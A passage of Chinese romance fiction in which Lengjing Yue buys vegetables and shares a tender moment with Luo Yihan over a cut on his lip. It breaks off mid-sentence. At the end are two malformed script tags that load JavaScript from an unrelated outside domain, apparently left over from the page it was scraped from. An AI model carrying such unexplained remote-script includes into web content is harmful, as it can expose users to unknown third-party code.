筒子楼附近有个小菜市,收摊前能捡到便宜的尾货。
她蹲在一个老太太的菜筐前,挑了两根有些发蔫的茄子,三颗西红柿,一把葱。
付钱时她听见身后有脚步声,不用回头也知道是谁。
“不是让你在家休息?”
骆昳寒站在她身后半步。
“睡不着。”
她把找零的硬币塞进衣兜,拎起那袋菜。
“仓库那边怎么说?”
“明晚开始,押金从工资扣。”
她没回头,继续往前走。
他跟在她身侧。
“……你不高兴。”
“没有。”
“有。”
她停下。
巷子很窄,两侧堆着各家的杂物。
她站在一盆半死不活的绿萝旁边,转过脸看他。
“我没不高兴。”
他垂眼。
“那你为什么一直不看我。”
她看着他。
他睫毛压得很低,下颌线绷紧。那撮呆毛从额前翘起,在风里轻轻晃。
她抬起手。
他没躲。
她用指尖把那撮呆毛往下按了按。
“看了。”她说。
他垂着眼,没有动。
她的手指从他额前滑落,经过眉骨、眼尾、脸颊——
停在他唇角。
那里有一道很细小的裂口,不知道是风吹的还是他自己不小心蹭破的,下午还没有,现在结了浅浅一层血痂。
她拇指轻轻蹭过那道血痂边缘。
他喉结滚动了一下。
“……疼?”她问。
他没说话。
他握住她停在他唇角的手腕。
力道不重,只是握着。
然后他低下头,把唇角那道血痂轻轻压在她拇指指腹上。
一触即分,像在确认什么。
他松开她的手腕。
“……不疼。”他说。
他接过她手里的菜袋,转身往筒子楼走。
步伐很稳,脊背很直。
那撮呆毛在她按过之后,依然顽强翘着。
冷卿月站在原地,看着他的背影。
然后她慢慢抬起刚才被他压过的拇指。
指腹上沾了一点极淡的血迹,他唇
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">